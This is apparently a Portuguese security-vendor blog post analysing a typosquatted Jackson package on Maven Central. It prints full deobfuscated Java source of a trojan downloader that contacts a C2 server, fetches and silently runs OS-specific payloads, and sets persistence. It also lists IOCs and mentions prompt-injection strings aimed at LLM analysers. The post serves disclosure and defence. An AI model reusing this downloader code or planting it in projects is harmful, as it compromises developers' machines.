Aikido

Primeiro Malware Sofisticado Descoberto no Maven Central via Ataque de Typosquatting em Jackson

Charlie EriksenCharlie Eriksen
|
#

Hoje, a nossa equipa identificou um pacote malicioso (org.fasterxml.jackson.core/jackson-databind) no Maven Central, disfarçado como uma extensão legítima da biblioteca Jackson JSON. É algo bastante inovador, e a primeira vez que detectamos um malware tão sofisticado no Maven Central. Curiosamente, essa mudança de foco para o Maven ocorre no momento em que outros ecossistemas, como o npm, estão a reforçar ativamente as suas defesas. Como raramente vimos ataques nesse ecossistema, queríamos documentá-lo para que a comunidade em geral pudesse se unir e proteger o ecossistema enquanto esse problema ainda está em sua infância.

Os atacantes não pouparam esforços para criar uma carga útil em várias etapas, com cadeias de configuração encriptadas, um servidor de comando e controlo remoto que fornece executáveis específicos para cada plataforma e várias camadas de ofuscação destinadas a dificultar a análise. O typosquatting opera em dois níveis: o pacote malicioso usa o org.fasterxml.jackson.core namespace, enquanto a biblioteca legítima do Jackson é publicada sob com.fasterxml.jackson.core. Isto reflete o domínio C2: fasterxml.org versus o real fasterxml.com. O .com para .org A troca é sutil o suficiente para passar despercebida numa inspeção casual, mas é totalmente controlada pelo invasor.

Neste momento, reportámos o domínio à GoDaddy e o pacote à Maven Central. O pacote foi removido em 1,5 horas. 

O malware em resumo

Quando abrimos o .jar ficheiro, vimos esta confusão:

Ufa, o que está a acontecer aqui? Estou a ficar tonto só de olhar para isto!

  • Está bastante ofuscado, como é evidente.
  • Contém tentativas de enganar analisadores baseados em LLM através de novas chamadas String() com injeção de prompt.
  • Quando visualizado num editor que não escape caracteres escape , ele mostra muito ruído.

Mas não se preocupe, com um pouco de ajuda, podemos desofuscar o código para torná-lo muito mais legível:

package org.fasterxml.jackson.core;  // FAKE PACKAGE - impersonates Jackson library

/**
 * DEOBFUSCATED MALWARE
 * 
 * True purpose: Trojan downloader / Remote Access Tool (RAT) loader
 * 
 * This code masquerades as a legitimate Spring Boot auto-configuration
 * for the Jackson JSON library, but actually:
 *   1. Contacts a C2 server
 *   2. Downloads and executes a malicious payload
 *   3. Establishes persistence
 */
@Configuration
@ConditionalOnClass({ApplicationRunner.class})
public class JacksonSpringAutoConfiguration {

    // ============ DECRYPTED CONSTANTS ============
    
    // Encryption key (stored reversed as "SYEK_TLUAFED_FBO")
    private static final String AES_KEY = "OBF_DEFAULT_KEYS";
    
    // Secondary encryption key for payloads
    private static final String PAYLOAD_DECRYPTION_KEY = "9237527890923496";
    
    // Command & Control server URL (typosquatting fasterxml.com)
    private static final String C2_CONFIG_URL = "http://m.fasterxml.org:51211/config.txt";
    
    // Persistence marker file (disguised as IntelliJ IDEA file)
    private static final String PERSISTENCE_FILE = ".idea.pid";
    
    // Downloaded payload filename  
    private static final String PAYLOAD_FILENAME = "payload.bin";
    
    // User-Agent for HTTP requests
    private static final String USER_AGENT = "Mozilla/5.0";

    // ============ MAIN MALWARE LOGIC ============
    
    @Bean
    public ApplicationRunner autoRunOnStartup() {
        return args -> {
            executeMalware();
        };
    }
    
    private void executeMalware() {
        // Step 1: Check if already running via persistence file
        if (Files.exists(Paths.get(PERSISTENCE_FILE))) {
            System.out.println("[Check] Running, skip");
            return;
        }
        
        // Step 2: Detect operating system
        String os = detectOperatingSystem();
        
        // Step 3: Fetch payload configuration from C2 server
        String config = fetchC2Configuration();
        if (config == null) {
            System.out.println("[Error] 未能获取到当前系统的 Payload 配置");
            // Translation: "Failed to get current system's Payload configuration"
            return;
        }
        System.out.println("[Network] 从 HTTP 每一行中匹配到配置");
        // Translation: "Matched configuration from each HTTP line"
        
        // Step 4: Download payload to temp directory
        String tempDir = System.getProperty("java.io.tmpdir");
        Path payloadPath = Paths.get(tempDir, PAYLOAD_FILENAME);
        downloadPayload(config, payloadPath);
        
        // Step 5: Make payload executable on Unix systems
        if (os.equals("linux") || os.equals("mac")) {
            ProcessBuilder chmod = new ProcessBuilder("chmod", "+x", payloadPath.toString());
            chmod.start().waitFor();
        }
        
        // Step 6: Execute payload with output suppressed
        executePayload(payloadPath, os);
        
        // Step 7: Create persistence marker
        Files.createFile(Paths.get(PERSISTENCE_FILE));
    }
    
    private String detectOperatingSystem() {
        String osName = System.getProperty("os.name").toLowerCase();
        
        if (osName.contains("win")) {
            return "win";
        } else if (osName.contains("mac") || osName.contains("darwin")) {
            return "mac";  
        } else if (osName.contains("nux") || osName.contains("linux")) {
            return "linux";
        } else {
            return "unknown";
        }
    }
    
    private String fetchC2Configuration() {
        try {
            URL url = new URL(C2_CONFIG_URL);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(conn.getInputStream())
                );
                StringBuilder config = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    config.append(line).append("\n");
                }
                return config.toString();
            }
        } catch (Exception e) {
            // Silently fail
        }
        return null;
    }
    
    private void downloadPayload(String config, Path destination) {
        try {
            // Config format: "win|http://...\nmac|http://...\nlinux|http://..."
            // Each line is AES-ECB encrypted with PAYLOAD_DECRYPTION_KEY
            
            String os = detectOperatingSystem();
            String payloadUrl = null;
            
            // Parse each line of config to find matching OS
            for (String encryptedLine : config.split("\n")) {
                String line = decryptAES(encryptedLine.trim(), PAYLOAD_DECRYPTION_KEY);
                // Line format: "os|url" (e.g., "win|http://103.127.243.82:8000/...")
                String[] parts = line.split("\\|", 2);
                if (parts.length == 2 && parts[0].equals(os)) {
                    payloadUrl = parts[1];
                    break;
                }
            }
            
            if (payloadUrl == null) {
                return;
            }
            
            // Download payload binary
            URL url = new URL(payloadUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                try (InputStream in = conn.getInputStream()) {
                    Files.copy(in, destination, StandardCopyOption.REPLACE_EXISTING);
                }
            }
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private String decryptAES(String hexEncrypted, String key) {
        try {
            // Convert hex string to bytes
            byte[] encrypted = new byte[hexEncrypted.length() / 2];
            for (int i = 0; i < encrypted.length; i++) {
                encrypted[i] = (byte) Integer.parseInt(
                    hexEncrypted.substring(i * 2, i * 2 + 2), 16
                );
            }
            
            SecretKeySpec secretKey = new SecretKeySpec(
                key.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(encrypted);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
    
    private void executePayload(Path payload, String os) {
        try {
            ProcessBuilder pb;
            if (os.equals("win")) {
                // Execute payload, redirect stderr/stdout to NUL
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("NUL"));
                pb.redirectError(new File("NUL"));
            } else {
                // Execute payload, redirect to /dev/null  
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("/dev/null"));
                pb.redirectError(new File("/dev/null"));
            }
            pb.start();
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private boolean isProcessRunning(String processName, String os) {
        try {
            Process p;
            if (os.equals("win")) {
                // tasklist /FI "IMAGENAME eq processName"
                p = Runtime.getRuntime().exec(new String[]{"tasklist", "/FI", 
                    "IMAGENAME eq " + processName});
            } else {
                // ps -p <pid>
                p = Runtime.getRuntime().exec(new String[]{"ps", "-p", processName});
            }
            return p.waitFor() == 0;
        } catch (Exception e) {
            return false;
        }
    }
    
    // ============ STRING DECRYPTION ============
    
    /**
     * Decrypts obfuscated strings
     * Algorithm:
     *   1. Reverse the key
     *   2. Reverse the encrypted string  
     *   3. Base64 decode
     *   4. AES/ECB decrypt
     */
    private static String decrypt(String encrypted, String key) {
        try {
            String reversedKey = new StringBuilder(key).reverse().toString();
            String reversedEncrypted = new StringBuilder(encrypted).reverse().toString();
            
            byte[] decoded = Base64.getDecoder().decode(reversedEncrypted);
            
            SecretKeySpec secretKey = new SecretKeySpec(
                reversedKey.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(decoded);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
}

Fluxo de malware

Aqui está uma visão geral de como o malware funciona:

Fase 0: Infecção. Um programador adiciona a dependência maliciosa ao seu pom.xml, acreditando que se trata de uma extensão legítima do Jackson. O pacote utiliza o org.fasterxml.jackson.core namespace, igual ao da biblioteca Jackson real, para parecer confiável.

Fase 1: Execução automática. Quando a aplicação Spring Boot é iniciada, o Spring procura por @Configuração aulas e descobertas JacksonSpringAutoConfiguração. O @ConditionalOnClass({ApplicationRunner.class}) passes de verificação (Executor de Aplicações está sempre presente no Spring Boot), então o Spring registra a classe como um bean. O malware Executor de Aplicações é invocado automaticamente após o carregamento do contexto da aplicação. Não são necessárias chamadas explícitas.

Fase 2: Verificação de persistência. O malware procura um ficheiro chamado .ideia.pid no diretório de trabalho. Esse nome de ficheiro foi escolhido deliberadamente para se misturar com os ficheiros de projeto do IntelliJ IDEA. Se o ficheiro existir, o malware assume que já está em execução e sai silenciosamente.

Fase 3: Impressão digital do ambiente. O malware deteta o sistema operativo verificando System.getProperty("os.name") e correspondência com vencer, mac/darwin, e nux/linux.

Fase 4: Contacto C2. O malware entra em contacto com http://m.fasterxml[.]org:51211/config.txt, um domínio typosquatted que imita o legítimo fasterxml.com. A resposta contém linhas encriptadas com AES, uma por plataforma suportada.

Fase 5: Entrega da carga útil. Cada linha na configuração é descriptografada usando AES-ECB com uma chave codificada (9237527890923496). O formato é os|url, por exemplo, estes valores que encontramos ao reverter o malware:

win|http://103.127.243[.]82:8000/http/192he23/svchosts.exe

mac|http://103.127.243[.]82:8000/http/192he23/update

O malware seleciona o URL correspondente ao sistema operativo detetado e descarrega o ficheiro binário para o diretório temporário do sistema como payload.bin.

Etapa 6: Execução. Nos sistemas Unix, o malware é executado chmod +x na carga útil. Em seguida, executa o binário com stdout/stderr redirecionado para /dev/null (Unix) ou NUL (Windows) para suprimir qualquer saída. A carga útil do Windows é denominada svchosts.exe, um typosquat deliberado do legítimo svchost.exe processo.

Etapa 7: Persistência. Por fim, o malware cria o .ideia.pid ficheiro marcador para impedir a reexecução em reinicializações subsequentes da aplicação.

O domínio

O domínio typosquatted fasterxml.org foi registado em 17 de dezembro de 2025, apenas 8 dias antes da nossa análise. Os registos WHOIS mostram que foi registado através da GoDaddy e atualizado em 22 de dezembro, sugerindo um desenvolvimento ativo da infraestrutura maliciosa nos dias que antecederam a implementação.

O curto intervalo entre o registo do domínio e o uso ativo é um padrão comum em campanhas de malware: os invasores criam a infraestrutura pouco antes da implantação para minimizar a janela de detecção e bloqueio. A biblioteca legítima de Jackson opera em fasterxml.com por mais de uma década, tornando o .org variante uma imitação de baixo esforço e alta recompensa.

Os binários

Recuperámos os ficheiros binários e enviámo-los ao VirusTotal para análise:

Linux/Mac - 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Windows - 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f

A carga útil do Linux/macOS é consistentemente identificada como um beacon Cobalt por praticamente todos os fornecedores de detecção. Cobalt é uma ferramenta comercial de teste de penetração que oferece recursos completos de comando e controlo: acesso remoto, coleta de credenciais, movimento lateral e implantação de carga útil. Embora tenha sido projetado para uso legítimo pela equipa vermelha, versões vazadas tornaram-no um dos favoritos dos operadores de ransomware e grupos APT. A sua presença normalmente sinaliza adversários sofisticados com intenções que vão além da simples mineração de criptomoedas.

Oportunidades para o Maven Central proteger o ecossistema

Este ataque destaca uma oportunidade para fortalecer a forma como os registos de pacotes lidam com a ocupação indevida de espaços de nomes. Outros ecossistemas já tomaram algumas medidas para resolver este problema, e o Maven Central poderia beneficiar de defesas semelhantes.

O problema da troca de prefixos: Este ataque explorou um ponto cego específico: trocas de prefixos do tipo TLD na convenção de namespace de domínios reversos do Java. A biblioteca Jackson legítima usa com.fasterxml.jackson.core, enquanto o pacote malicioso utilizado org.fasterxml.jackson.core. Isso é diretamente análogo ao typosquatting de domínios (fasterxml.com vs. fasterxml.org), mas o Maven Central parece não ter atualmente nenhum mecanismo para detectá-lo.

Este é um ataque simples, e esperamos que haja imitadores.. A técnica demonstrada aqui: troca com. para org. no namespace de uma biblioteca popular. Isso requer um mínimo de sofisticação. Agora que essa abordagem foi documentada, prevemos que outros invasores tentarão trocas de prefixo semelhantes em outras bibliotecas de alto valor. A janela para implementar defesas é agora, antes que isso se torne um padrão generalizado.

Dada a simplicidade e eficácia deste ataque de troca de prefixo, recomendamos que o Maven Central considere implementar:

  • Detecção de similaridade de prefixos. Quando um novo pacote é publicado em org.exemplo, verifique se com.exemplo ou net.exemplo já existe com um volume significativo de downloads. Se for o caso, sinalize para revisão. A mesma lógica deve ser aplicada inversamente e em todos os TLDs comuns (`com, org, net, io, dev`).
  • Proteção de pacotes popular. Mantenha uma lista de namespaces de alto valor (como com.fasterxml, com.google, org.apache) e exigem verificação adicional para qualquer pacote publicado sob namespaces com aparência semelhante.

Partilhamos esta análise num espírito de colaboração. O ecossistema Java tem sido um refúgio relativamente seguro contra os ataques à Supply chain têm afetado o npm e o PyPI nos últimos anos. Medidas proativas agora podem ajudar a mantê-lo assim.

IOCs

Domínios:

  • fasterxml[.]org
  • m.fasterxml[.]org

Endereços IP:

  • 103.127.243[.]82

URLs:

  • http://m.fasterxml[.]org:51211/config.txt
  • http://103.127.243[.]82:8000/http/192he23/svchosts.exe
  • http://103.127.243[.]82:8000/http/192he23/update

Binários:

  • Carga útil do Windows (svchosts.exe): 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f
  • carga útil do macOS (atualização): 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

4.7/5

Proteja seu software agora

Comece Gratuitamente
Não é necessário cc
Agendar uma demonstração
Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.